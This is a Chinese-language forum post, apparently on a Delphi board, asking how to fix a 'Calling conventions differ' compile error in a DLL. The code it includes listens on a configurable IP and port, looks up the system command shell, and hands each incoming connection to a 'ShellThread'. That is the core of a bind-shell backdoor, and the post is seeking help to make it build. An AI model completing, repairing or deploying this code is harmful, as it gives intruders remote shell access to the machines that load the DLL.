P
pniker
Unregistered / Unconfirmed
GUEST, unregistred user!
请问大家编译DLL的时候出现错误:Calling conventions differ该如何解决?<br>我查过一些资料,都说的是调用规则不一致,为此我将stdcall、pascal、safecall等几个调用规则都尝试了一遍,可是依旧出错,不解中。<br> DLL出错函数如下(说明:该函数中的变量都为DLL中的全局变量),编译器指示错误出现在 beginthread 。。想了几天实在没有点头绪,希望大家能指点迷津,谢谢!<br> <br>
代码:
val:=TRUE;<br> WSAStartUp(MakeWord(2, 2), WSAData);<br> ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);<br> setsockopt(ServerSocket, SOL_SOCKET, SO_REUSEADDR, @val, sizeof(val));<br> SockAddrIn.sin_family := AF_INET;<br> SockAddrIn.sin_addr.s_addr:=inet_addr(IP);<br> SockAddrIn.sin_port := htons(Port);<br> Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn));<br> Listen(ServerSocket, 1);<br> GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);<br> while True do<br> begin<br> FD_Zero(FDSet);<br> FD_Set(ServerSocket, FDSet);<br> Select(0, @FDSet, nil, nil, nil);<br> if FD_IsSet(ServerSocket, FDSet) then<br> begin<br> New(Connected);<br> Connected^ := Accept(ServerSocket, nil, nil);<br> if Connected^ <> SOCKET_ERROR then<br> BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)<br> else<br> Break;<br> end;<br> end;<br> WSACleanup;